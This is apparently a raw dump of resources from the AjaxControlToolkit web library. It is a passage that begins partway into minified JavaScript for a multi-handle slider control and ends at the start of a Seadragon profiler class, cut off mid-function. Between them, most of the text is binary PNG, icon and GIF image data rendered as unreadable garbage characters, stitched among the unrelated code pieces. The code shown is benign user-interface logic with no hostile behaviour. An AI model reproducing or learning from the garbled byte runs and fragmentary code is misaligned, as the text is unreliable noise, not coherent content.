h=0,i=a._handles-1,f=a._handleData[h],e=a._handles>1?a._handleData[i]:null;if(e){var g=parseInt(a._getBoundsInternal(f).width,10),b=parseInt(a._isVertical?f.style.top:f.style.left,10),d=parseInt(a._isVertical?e.style.top:e.style.left,10),j=parseInt(a._multiHandleSliderTargets[h].Offset,10),k=parseInt(a._multiHandleSliderTargets[i].Offset,10);b+=j;d+=k;if(a._isVertical){a._inner.style.top=b+c;a._inner.style.height=d+g-b+c}else{a._inner.style.left=b+c;a._inner.style.width=d+g-b+c}if(a._innerRailStyle===AjaxControlToolkit.MultiHandleInnerRailStyle.SlidingDoors)a._inner.style.backgroundPosition=a._isVertical?"0 -"+b+c:"-"+b+"px 0"}}},_initializeMultiHandleSliderTarget:function(d,e,c){var b=this;if(d){var a=$get(d);if(c.Value)a.value=c.Value;a.Handle=c;a.Decimals=e;a.OldValue=a.value;a.onchange="setValue(this, "+a.value+")";if(!a.Decimals)a.Decimals=0;var f=a&&a.nodeName==="INPUT";if(f){a.KeyPressHandler=Function.createDelegate(b,b._onMultiHandleSliderTargetKeyPressed);a.ChangeHandler=Function.createDelegate(b,b._onMultiHandleSliderTargetChange);$addHandler(a,"keypress",a.KeyPressHandler);$addHandler(a,"change",a.ChangeHandler)}}},_initializeSlider:function(){var a=this;AjaxControlToolkit.DragDrop.registerDropTarget(a);a._initializeHandles();a._initializeHandlers();a._initializeInnerRail();a._initialized=true;a._raiseEvent("load")},_resetDragHandle:function(b){var a=$common.getBounds(b);$common.setLocation(b.DragHandle,{x:a.x,y:a.y})},_resolveNamingContainer:function(){var a=this;if(a._multiHandleSliderTargets&&!a._boundControlID)for(var c=a._clientStateFieldID.lastIndexOf(a._id),d=a._clientStateFieldID.substring(0,c),b=0;b<a._handles;b++)a._multiHandleSliderTargets[b].ControlID=d+a._multiHandleSliderTargets[b].ControlID},_saveState:function(){var a=this;for(var c=[a._handles],b=0;b<a._handles;b++)c[b]=$get(a._multiHandleSliderTargets[b].ControlID).value;a.set_ClientState(c.join(","))},_setHandlePosition:function(b,k){var f="width",a=this,h=a._minimum,j=a._maximum,g=b.Value,m=a._enableHandleAnimation&&a._animationPending&&k,c=a._getBoundsInternal(b),d=a._getOuterBounds();if(c.width<=0&&d.width<=0){c.width=parseInt($common.getCurrentStyle(b,f),10);d.width=parseInt($common.getCurrentStyle(a._outer,f),10);if(c.width<=0||d.width<=0)throw Error.argument(f,AjaxControlToolkit.Resources.MultiHandleSlider_CssHeightWidthRequired);}var n=j-h,l=(g-h)/n,e=Math.round(l*(d.width-c.width)),i=g===h?0:g===j?d.width-c.width:e;if(m){b.Animation.set_startValue(c.x-d.x);b.Animation.set_endValue(i);b.Animation.set_propertyKey(a._isVertical?"top":"left");b.Animation.play();a._animationPending=false}else{e=i+"px";if(a._isVertical)b.style.top=e;else b.style.left=e}},_setRailStyles:function(){var e="inner_rail_horizontal",d="inner_rail_vertical",a=this;if(!a._inner&&a._railCssClass){a._outer.className=a._railCssClass;return}var b=a._cssClass?a._cssClass:"ajax__multi_slider_default";Sys.UI.DomElement.addCssClass(a.get_element(),b);Sys.UI.DomElement.addCssClass(a._outer,b);Sys.UI.DomElement.addCssClass(a._wrapper,b);if(a._inner){Sys.UI.DomElement.addCssClass(a._inner,b);var c=a._isVertical?"outer_rail_vertical":"outer_rail_horizontal",f=a._isVertical?d:e;Sys.UI.DomElement.addCssClass(a._outer,c);Sys.UI.DomElement.addCssClass(a._inner,f)}else{c=a._isVertical?d:e;Sys.UI.DomElement.addCssClass(a._outer,c)}},_setMultiHandleSliderTargetValue:function(b,f){var a=this,d=b.OldValue,c=f;if(d===c&&a._isReadOnly)b.value=d;else{if(!a.get_isUpdating())c=a._calculateMultiHandleSliderTargetValue(b);b.value=c.toFixed(b.Decimals);a._ensureBinding(b);if(!Number.isInstanceOfType(b.value))try{b.value=parseFloat(b.value)}catch(g){b.value=Number.NaN}if(a._tooltipText){var e=b.Handle;e.alt=e.title=String.format(a._tooltipText,b.value)}if(a._initialized){b.Handle.Value=c;a._setHandlePosition(b.Handle,true);if(a._handles===1)a.get_element().value=c;if(b.value!==d){b.OldValue=b.value;a._initializeInnerRail();if(a._innerDrag)a._blockInnerClick=true;a._raiseEvent("valueChanged");if(a.get_isUpdating())!a._raiseChangeOnlyOnMouseUp&&$common.tryFireEvent(a.get_element(),"change")}}}a._saveState()},_setValueFromMultiHandleSliderTarget:function(b){var a=this;a.beginUpdate();if(b)if(!a._isReadOnly){a._handles===1&&a._steps>0&&a._setMultiHandleSliderTargetValue(b,b.value);a._calculateMultiHandleSliderTargetValue(b)}else a._setMultiHandleSliderTargetValue(b,b.OldValue);a.endUpdate()},_slideMultiHandleSliderTarget:function(i,g){var b=this,d=$get(i),j=d.value,c,a;if(b._steps>0){var e=b._getStepValues(),f=b._getNearestStepValue(j);c=f;if(g){for(a=b._steps-1;a>-1;a--)if(e[a]<f){c=e[a];break}}else for(a=0;a<b._steps;a++)if(e[a]>f){c=e[a];break}}else{var h=parseFloat(d.value);c=g?h-parseFloat(b._increment):h+parseFloat(b._increment)}d.value=c;b._setValueFromMultiHandleSliderTarget(d);return d.value==c},_startDragDrop:function(a){this._resetDragHandle(a);this._handleUnderDrag=a;AjaxControlToolkit.DragDrop.startDragDrop(this,a.DragHandle,null)},_onAnimationEnded:function(){this._initializeInnerRail()},_onAnimationStep:function(){this._initializeInnerRail()},_onHideDrag:function(b,a){this.className=a.custom&&a.custom.length>0?a.custom:a.vertical?"handle_vertical":"handle_horizontal"},_onHideHover:function(b,a){this.className=a.custom&&a.custom.length>0?a.custom:a.vertical?"ajax__multi_slider_default handle_vertical":"ajax__multi_slider_default handle_horizontal"},_onInnerRailClick:function(b){var a=this;if(a._enableRailClick){var c=b.target;if(c===a._inner&&!a._blockInnerClick){a._animationPending=true;a._onInnerRailClicked(b)}else a._blockInnerClick=false}},_onInnerRailClicked:function(b){var a=this._calculateInnerRailOffset(b);this._calculateClick(a)},_onKeyDown:function(d){var a=false;if(this._enableKeyboard){var c=new Sys.UI.DomEvent(d),b=a;switch(c.keyCode||c.rawEvent.keyCode){case Sys.UI.Key.up:case Sys.UI.Key.left:if(!b){this._handleSlide(true);c.preventDefault();b=true}return a;case Sys.UI.Key.down:case Sys.UI.Key.right:if(!b){this._handleSlide(a);c.preventDefault();b=true}return a;default:return a}}},_onMouseOver:function(){this._outer.focus()},_onMouseWheel:function(b){var a=0;if(b.wheelDelta){a=b.wheelDelta/120;if(Sys.Browser.agent===Sys.Browser.Opera)a=-a}else if(b.detail)a=-b.detail/3;a&&this._handleSlide(a<=0);b.preventDefault&&b.preventDefault();return false},_onMouseUp:function(a){window._event=a;a.preventDefault();this._cancelDrag()},_onMouseOut:function(a){window._event=a;a.preventDefault();this._outer.blur();this._handleUnderDrag&&this._cancelDrag()},_onMouseOutInner:function(a){window._event=a;a.preventDefault();this._inner.blur();this._innerDrag&&this._cancelDrag()},_onMouseDown:function(b){var a=this;window._event=b;b.preventDefault();if(!AjaxControlToolkit.MultiHandleSliderBehavior.DropPending){AjaxControlToolkit.MultiHandleSliderBehavior.DropPending=a;$addHandler(document,"selectstart",a._selectStartHandler);a._selectStartPending=true;var c=b.target;a._startDragDrop(c)}},_onMouseDownInner:function(a){window._event=a;a.preventDefault();if(this._enableInnerRangeDrag)if(!this._innerDragFlag)this._innerDragFlag=true},_onMouseUpInner:function(){if(this._enableInnerRangeDrag)this._innerDragFlag=false},_onMouseMoveInner:function(b){var a=this;window._event=b;b.preventDefault();if(a._enableInnerRangeDrag)if(!a._innerDrag&&a._innerDragFlag){a._innerDragFlag=false;if(!AjaxControlToolkit.MultiHandleSliderBehavior.DropPending){AjaxControlToolkit.MultiHandleSliderBehavior.DropPending=a;$addHandler(document,"selectstart",a._selectStartHandler);a._selectStartPending=true;a._innerDrag=true;var d=a._calculateInnerRailOffset(b),c=a._calculateClosestHandle(d);a._startDragDrop(c)}}},_onMultiHandleSliderTargetChange:function(a){this._animationPending=true;var b=a.target;this._setValueFromMultiHandleSliderTarget(b);this._initializeInnerRail();a.preventDefault()},_onMultiHandleSliderTargetKeyPressed:function(c){var a=new Sys.UI.DomEvent(c);if(a.charCode===13){this._animationPending=true;var b=a.target;this._setValueFromMultiHandleSliderTarget(b);this._initializeInnerRail();a.preventDefault()}},_onOuterRailClick:function(b){var a=this;if(a._enableRailClick){var c=b.target;if(c===a._outer){a._animationPending=true;a._onOuterRailClicked(b)}}},_onOuterRailClicked:function(a){var b=this._isVertical?a.offsetY:a.offsetX;this._calculateClick(b)},_onShowDrag:function(b,a){this.className=a.custom&&a.custom.length>0?a.custom:a.vertical?"ajax__multi_slider_default handle_vertical_down":"ajax__multi_slider_default handle_horizontal_down"},_onShowHover:function(b,a){this.className=a.custom&&a.custom.length>0?a.custom:a.vertical?"ajax__multi_slider_default handle_vertical_hover":"ajax__multi_slider_default handle_horizontal_hover"},get_dragDataType:function(){return "HTML"},getDragData:function(){return this._handleUnderDrag},get_dragMode:function(){return AjaxControlToolkit.DragMode.Move},onDragStart:function(){this._resetDragHandle(this._handleUnderDrag);this._raiseEvent("dragStart")},onDrag:function(){var a=this,c=a._getBoundsInternal(a._handleUnderDrag.DragHandle),e=a._getBoundsInternal(a._handleUnderDrag),d=a._getOuterBounds(),b;if(a._isVertical)b={y:c.x-d.x,x:0};else b={x:c.x-d.x,y:0};$common.setLocation(a._handleUnderDrag,b);a._calculateMultiHandleSliderTargetValue(null,null,true);a._steps>1&&a._setHandlePosition(a._handleUnderDrag,false);a._raiseEvent("drag")},onDragEnd:function(){var a=this;a._initializeInnerRail();a._raiseChangeOnlyOnMouseUp&&$common.tryFireEvent(a.get_element(),"change");a._innerDrag=false;a._handleUnderDrag=null;a._raiseEvent("dragEnd")},get_dropTargetElement:function(){return document.forms[0]},canDrop:function(b,a){return a=="HTML"},drop:Function.emptyMethod,onDragEnterTarget:Function.emptyMethod,onDragLeaveTarget:Function.emptyMethod,onDragInTarget:Function.emptyMethod,_IEDragDropHandler:function(a){a.preventDefault()},_onSelectStart:function(a){a.preventDefault();return false},_getOuterBounds:function(){return this._getBoundsInternal(this._outer)},_getInnerBounds:function(){return this._getBoundsInternal(this._inner)},_getBoundsInternal:function(b){var a=$common.getBounds(b);if(this._isVertical)a={x:a.y,y:a.x,height:a.width,width:a.height,right:a.right,left:a.left,bottom:a.bottom,location:{x:a.y,y:a.x},size:{width:a.height,height:a.width}};else a={x:a.x,y:a.y,height:a.height,width:a.width,right:a.right,left:a.left,bottom:a.bottom,location:{x:a.x,y:a.y},size:{width:a.width,height:a.height}};return a},_raiseEvent:function(c,a){var b=this.get_events().getHandler(c);if(b){if(!a)a=Sys.EventArgs.Empty;b(this,a)}},get_Value:function(){var a=$get(this._boundControlID);return a.value?a.value:0},set_Value:function(c){var a=this,b=$get(a._multiHandleSliderTargets[0].ControlID);a.beginUpdate();a._setMultiHandleSliderTargetValue(b,a._getNearestStepValue(c));a.endUpdate();$common.tryFireEvent(b,"change")},get_minimum:function(){return this._minimum},set_minimum:function(a){if(a!==this._minimum){this._minimum=a;this.raisePropertyChanged("minimum")}},get_maximum:function(){return this._maximum},set_maximum:function(a){if(a!==this._maximum){this._maximum=a;this.raisePropertyChanged("maximum")}},get_length:function(){return this._length},set_length:function(a){if(a!==this._length){this._length=a;this.raisePropertyChanged("length")}},get_steps:function(){return this._steps},set_steps:function(c){var a=this,b=a._steps;a._steps=Math.abs(c);a._steps=a._steps===1?2:a._steps;b!==a._steps&&a.raisePropertyChanged("steps")},get_orientation:function(){return this._isVertical},set_orientation:function(a){if(a!==this._isVertical){this._orientation=a;this.raisePropertyChanged("orientation")}},get_enableHandleAnimation:function(){return this._enableHandleAnimation},set_enableHandleAnimation:function(a){if(a!==this._enableHandleAnimation){this._enableHandleAnimation=a;this.raisePropertyChanged("enableHandleAnimation")}},get_handleAnimationDuration:function(){return this._handleAnimationDuration},set_handleAnimationDuration:function(a){if(a!==this._handleAnimationDuration){this._handleAnimationDuration=a;this.raisePropertyChanged("handleAnimationDuration")}},get_raiseChangeOnlyOnMouseUp:function(){return this._raiseChangeOnlyOnMouseUp},set_raiseChangeOnlyOnMouseUp:function(a){if(a!==this._raiseChangeOnlyOnMouseUp){this._raiseChangeOnlyOnMouseUp=a;this.raisePropertyChanged("raiseChangeOnlyOnMouseUp")}},get_showInnerRail:function(){return this._showInnerRail},set_showInnerRail:function(a){if(a!==this._showInnerRail){this._showInnerRail=a;this.raisePropertyChanged("showInnerRail")}},get_showHandleHoverStyle:function(){return this._showHoverStyle},set_showHandleHoverStyle:function(a){if(a!==this._showHoverStyle){this._showHoverStyle=a;this.raisePropertyChanged("showHoverStyle")}},get_showHandleDragStyle:function(){return this._showDragStyle},set_showHandleDragStyle:function(a){if(a!==this._showDragStyle){this._showDragStyle=a;this.raisePropertyChanged("showDragStyle")}},get_innerRailStyle:function(){return this._innerRailStyle},set_innerRailStyle:function(a){if(a!==this._innerRailStyle){this._innerRailStyle=a;this.raisePropertyChanged("innerRailStyle")}},get_enableInnerRangeDrag:function(){return this._enableInnerRangeDrag},set_enableInnerRangeDrag:function(a){if(a!==this._enableInnerRangeDrag){this._enableInnerRangeDrag=a;this.raisePropertyChanged("allowInnerRangeDrag")}},get_enableRailClick:function(){return this._enableRailClick},set_enableRailClick:function(a){if(a!==this._enableRailClick){this._enableRailClick=a;this.raisePropertyChanged("allowRailClick")}},get_isReadOnly:function(){return this._isReadOnly},set_isReadOnly:function(a){if(a!==this._isReadOnly){this._isReadOnly=a;this.raisePropertyChanged("isReadOnly")}},get_enableKeyboard:function(){return this._enableKeyboard},set_enableKeyboard:function(a){if(a!==this._enableKeyboard){this._enableKeyboard=a;this.raisePropertyChanged("enableKeyboard")}},get_enableMouseWheel:function(){return this._enableMouseWheel},set_enableMouseWheel:function(a){if(a!==this._enableMouseWheel){this._enableMouseWheel=a;this.raisePropertyChanged("enableMouseWheel")}},get_increment:function(){return this._increment},set_increment:function(a){if(a!==this._increment){this._increment=a;this.raisePropertyChanged("increment")}},get_tooltipText:function(){return this._tooltipText},set_tooltipText:function(a){if(a!==this._tooltipText){this._tooltipText=a;this.raisePropertyChanged("tooltipText")}},get_multiHandleSliderTargets:function(){return this._multiHandleSliderTargets},set_multiHandleSliderTargets:function(a){if(a!==this._multiHandleSliderTargets){this._multiHandleSliderTargets=a;this.raisePropertyChanged("multiHandleSliderTargets")}},get_cssClass:function(){return this._cssClass},set_cssClass:function(a){if(a!==this._cssClass){this._cssClass=a;this.raisePropertyChanged("cssClass")}},get_boundControlID:function(){return this._boundControlID},set_boundControlID:function(b){var a=this;a._boundControlID=b;if(a._boundControlID)a._boundControl=$get(a._boundControlID);else a._boundControl=null},get_handleCssClass:function(){return this._handleCssClass},set_handleCssClass:function(a){this._handleCssClass=a},get_handleImageUrl:function(){return this._handleImageUrl},set_handleImageUrl:function(a){this._handleImageUrl=a},get_railCssClass:function(){return this._railCssClass},set_railCssClass:function(a){this._railCssClass=a},get_decimals:function(){return this._decimals},set_decimals:function(a){this._decimals=a},add_load:function(a){this.get_events().addHandler("load",a)},remove_load:function(a){this.get_events().removeHandler("load",a)},add_dragStart:function(a){this.get_events().addHandler("dragStart",a)},remove_dragStart:function(a){this.get_events().removeHandler("dragStart",a)},add_drag:function(a){this.get_events().addHandler("drag",a)},remove_drag:function(a){this.get_events().removeHandler("drag",a)},add_dragEnd:function(a){this.get_events().addHandler("dragEnd",a)},remove_dragEnd:function(a){this.get_events().removeHandler("dragEnd",a)},add_valueChanged:function(a){this.get_events().addHandler("valueChanged",a)},remove_valueChanged:function(a){this.get_events().removeHandler("valueChanged",a)}};AjaxControlToolkit.MultiHandleSliderBehavior.DropPending=null;AjaxControlToolkit.MultiHandleSliderBehavior.registerClass("AjaxControlToolkit.MultiHandleSliderBehavior",AjaxControlToolkit.BehaviorBase);�PNG


IHDR#"Յ`�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB aAHXLXN�H� $4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�| (�h���SЧ�������c3-� cHRMz%������u0�`:�o�_�F	=IDATxڬ�kl���޹�ڗ��g�5'ıIJ�D
E!�$P)RU��E�@�JU?Ԃ�oi�h?E*ʇ�B��R�E��@�4�#�1�$vl�I쬟�~���~��2^/iU:��̎f��s�9�K���:!��ߓ_�R)�*B�ΦiB��NV�-��]���m�z��Y�L����^�� x������f��
���B��{��
�߿�նm�.9y�d�������&b�� gffd=���	�!��<��s�}3�L�yV�kf�r\�/kMޕ�(�u�ҥ�C��?u�T��966V���oa>���O&�}���Mu�g�ޅ���bȳ=I!LSH�����ӛ��v��W�g�;|������J*l� ϟ?/�رcǗ0�g�Ճh'N�عs��c��㮛##w�f���)z�q%�D(�H�P����7��������_{��w<x@ч��@��ܳgϗ9�8N5v��h��û{��`����l,Z��z�+�ν���Q0	A��9�K��
�,�d����K�-{w?��^08�a`�����bQ�ʙ|>�h4Z��@?z�h�������|�ֹ+&�e�E�n���S�ʨ�+$�����J�s�e9�$��U�n�h�v}�W^�����E9�K�����yƲ,��h�:w��}s#ca�-;ɐ�u�
�kP4�Q�J(�^E
'cI�����dD�#Iy�d�#c�m������n98�%��T*��%��;�+7����˝X.z�8�q���2��ō�a��lDw�hoz��ƌȖ���s���F�F)�T��]mI*�=O<�Ľ"t��ip`@2�.hjww�ι/F�n��%"��i4�V~{bR{�O�|���$?qn�xc��{
-�=�͞0W�4JT��R�&�����M�6�
 ��PB�g5�駟�*�Ln+ͦbF�	�#�q�#��&�CUU>z�n���*���p�^`�����ý!EmV�+�0Je��[�p�lX�Q�IM�@(������t�\.�&�UFxX�z[�]��*8�`��`8rl�Ɨx|W��*z��(�B=HJf�zzzz�~��0�/SU�={�z�4vU&Zs��&�hm;�E�*�J)c�m)%<��'������0����5W��tA�[:C��5�|�j���&���fVQ��%8�,�.^��&/��o�\��a455�����q�E���<>8;�~��Ɏ�\{�HD4JLY�=���@�W��B� L�HH�I�G��貱��~��S�?���{�!����|�~߆^����g�0Ӣj��̐�(.��"T��U;�N��B�j�ԴՔP#.���K_���a|�m+_�u�v?dRl�֐j��e]J���fN.�s�[?�$�J��3�N�6P�M5fB+p��5�ի��bm��2�f=��M�HR#��Ȥ��Bp��6a�`��>�*�)=�D�#jTm���.������J��J�>�&J�#�	Ԉ2�m"����J�R�~����Q���ٳ����ѝ[zv�q΀��«�V�aa�Ƌ�\���+QyDF��F�}}����S�\n1�JT��U0�vњ�������6$�K%Ȑ�-�����]PL ^ق�m��<r7(W!]�[���`܃���m�‹�?Y\\�
�6V�;J�0��3gΌ0���]?�8�U���a.4�}�
�W�����FB!���l�%� ��a�L�|�/,//O(�@Ֆtu�<��A��*����y�텮���
�e������."���^�Y��ҀS�Q3�|�@��/�����0ծ���?��yc(OMM]�:}�#s�g:�#�nh%� @<�z�V~X/�E�Hul���ߘ]�,���S�=#�+u0�'%~<K�����Ew��o�����ݷ�m��p���4\R�dފ@<.M�Zd��yk�]~�7�:�͗.��;`�L���jz���
��<����_�	 �K���z�"�x�ǽ��$��1Tʐ�a�M�,K#ם�_������Tb�J>��nC���>!0>>�(�/h�0��4a�=��"�hN�Ź�Z�Xo���y^A�B���~���ǪY
s�w����l�B�>��{�j:!$@�Rz�`n@'�Vn$U�K����Ur3����Y�Z�T�>�[���N��
V�U5���ֈ�J��H�V�x@i�km�N�zA%�d���@�V��@�ZWRD���-��XM��n/�6["k�pK�vk6p���/��5J�[��{IEND�B`�6   �& h�( @ f�{��&��al�3���'���2��h�[���P��an�����`���4�����������f�P#��pM������
s��g���������&n�PT��p�������\���/�ôW��2����f��%���J�����/��f�`{���������������=s��r��������������.o�`2��=6������2��~�����������K��=���������������q���������������(������%��:�������n�)��f��t��������������������������=s��U���p���Y���������)��f�0������������������������k�02��"������������<�x����^�����f�p4��[������ݝ����������������������������6q�pf� �����=��Y�0����!��`���������C���v��f�@i� ~��͛���������������������������������������h���l�@$���p������������d���A������������9���f� �����������������������������������������������i� 9���U���2��2��2��2�������+��q��2��2��2��2��]���f�n���������������������������������a�����������������������h�f�02������f�`k�0������������.o�`2��X���f� �����������i� 2��������������{���$|�p���r��R��p���Q~����f�����h�����������������������������������������ÇÇ�����������?�?�?�?��������������������������������������(  �A������g�+��dm����V����l���Ds�j��D����Y���Q�ηL��?��ϙ�����{�����������������,h�%��O<��O����
���\��.����������y���2i�%���^��W���������!���a�3L��y��������������������3t�UP�Ƹe���s���9��)���c���U���)��c�������ӭ��ҷ������찵�����k���|�>��|�����Z���#��R���p�J����L��w���������������������������6   �& h�( @ ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������F�R��������������������������������������������������������������������������������������F�R�X�c�I�R��ʿ�����������������������������������������������������������������F�R�o�|�i�v�Y�d�C�M��ʿ�����������������������������������������������������������g�r��ٕ��ڗ�q�~�d�p�V�a�@�J��ʿ������������������������������������������������������И��͕��Ì���yц�l�x�C�N�Q�[�Z�d�����������������������������������������������������������w�����ڍ�û�U�_�����������������������������������������������������������������w�������}֋�V�`�����������������������������������������������������������������w�������}֋�V�`������������������������������������������������������������������Š�����}֋�V�`������������������������������������������������������������������Š�����}֋�V�`������������������������������������������������������������������ʒ�������d�m����������������������������������������������������������������������������И��̔��Ǝ�}���v�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(  ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������F�R����������������������������������������F�R�X�c�C�M��ʿ��������������������������g�r��ٕ�i�v�V�a�@�J��ʿ���������������������И��͕��Ì�q�~�C�N�Q�[�Z�d��������������������������w���yц�S�]��������������������������������{�����Y�b������������������������������������{���m�y�P�Z��������������������������������������������������������������������������������������������������������������������������������������������������������������������������FGIF89a

�?���������l��������������ƈ�̩�섐������������g��q������`�����p�������d�����U~������W������i�����������u��|������[�����_������������������䍲Ϣ���?��*������!�?,

c����"$��Ri(�&��A[�V���R��<V�U8%8$��3S����F%2�� �.vq9tK,61/>VB:><=��V�������?��J>�A;�GIF89a�?���a����ꎺ�������������l������������?��*����������V��q�������������p����㋲΄���������������g��[���������������u����|�������_����像��������������������������!�?,���pH,���r�l
���3JUN���K1��WC�R%4��H�[�J��lA��K�kF'PxJ"	&lJ
,~$#'�J+�����B:�:4'6<����66��B<���<���<B7����6��B8��8
�� �6�B9���;�66�9B�����;B=���������G;jGIF89a����WWXVVW�����������.a�9j�Ev�[�������;t�F}�L��N�������C~�K�����������N��s�ꃤӾ�������������R����������Q��w��w��w��|�鐼���������[��u�눴㉰۟���������ν�����������a��b�憼�������������ev���������VWX���j�����������������삼������������������������������������������������hmmyzz��������������������������������������������������������������������������������������������������}}}lllhhhYYYWWWVVVSSSIII333%%%"""���!��,�S	H����(\ȰaC�	Jt�ᔋS&*��pH�6�1��D����B�D	s�L0@1U�
8��PdE5q�Pp�ЦB!-���C�4iμ8P4b�"`��p�#�/VL0���
Fn$��d�0T-Pɑ.\)#��PХ;�b"6X$$�AN�71����re���4Y����r�PJ�#�!���G�;�9*U�#F�FIR
�o7��L2�i�&M���t��CI/D*��S�.U�t	�)H}NG(��yB�8zD�*T�=��iQB
�?(R(O���|��~f��4��>(�Th�bxІ;�GIF89a���������������֬��������:�L�L�&V�����������������������������������������������������������֭��������yyyvvviii\\\[[[VVVMMMLLLJJJAAA333���!�/,���pH,���r�l
���3JUN��+��2�!!)e_͓Iphi�|Ih�\�9W>�
."~�~B� ,+-�����))%(�	���$,*#�	����	
������
	LJ����҇����ه���������G��A;�GIF89a�g��������������������������������������������������@8@������������������ӫ� ( ��`�д�����DDC H�P�ধ�333fffTTS`��0H������7>6���^c\��ވ���������@p�p��Px�0P�@p�������`��PHP   ��悷������������tsr@h������������������������Ŷ���␿��������������������!�g,��g������a������]$c������ Z^b������(
e������
d������b!ffE����f�
`@M�Y01+/6�ʂeL-FR�WG%._V���f>'D-9O�H_�	f`��q�ǖ%8V|�0`@AJtHx�ʐNzܨ�ˆ/p� A& �b���/��2aÆqx�`G��]�
�B��L�@E��B��_@���� &ƈ�T��)(T� ƋcT:t�a��0��Հ�T0(�����B؛ Bh�́eC��|9p�Ad��p����b�vft�C�s;GIF89a�?����X������Ǘ����l�������7c���������aV�Ǫ˛���ʔ��ȣ�i����f�v��ܣ�����ۺ�h��sTs�x��.5V}�ٶ����Ex��e���	����yc������zy��������B6_����Ͳ�Ѩ��W���������������!�?,���pH,����l:�Mao�Z�ثp������&"x!M.��d<�uN��s��b�
4
&'t#��B<9';&o(
 �;��B:��)3��B9;*1
&&���;�(�t����;::(00"���B	��" �,
9�	���*,,$7=��?�-)!

���C�<	B(H�B0�'�(����
�H�R��(Sb0)���-�� �‚�.r�8��5@���b�͛9]�<����5�Y� Ѧ6���"�d�Ɗ7X9Y�6;gGIF89a� 8``p�0@pP`�0Hp��❧�����0P�@P�������0H�Pp����I`�Ph����p����������������ش�� 0`:Iv~��s��`x���ɥ��~�����\l�IX�^j�������0P�[e����CPvXo����@X���݋��OZ}���`x��������������!�,�@�pH,ގ���cBބ���rB�3��e�پ6�`�ۄsd`>
�x͡���	<H�B3344
�/3
B�43	�"B3
-!B$3,%*B#� B2�)+10�2E�DA;+GIF89a����!�,D;�Type.registerNamespace('AjaxControlToolkit.Seadragon');

AjaxControlToolkit.Seadragon.Profiler = function() {

    this._midUpdate = false;
    this._numUpdates = 0;

    this._lastBeginTime = null;
    this._lastEndTime = null;

    this._minUpdateTime = Infinity;
    this._avgUpdateTime = 0;
    this._maxUpdateTime = 0;

    this._minIdleTime = Infinity;
    this._avgIdleTime = 0;
    this._maxIdleTime = 0;
}
AjaxControlToolkit.Seadragon.Profiler.prototype = {
    // Methods -- UPDATE TIME ACCESSORS

    getAvgUpdateTime: function() {
        return this._avgUpdateTime;
    },

    getMinUpdateTime: function() {
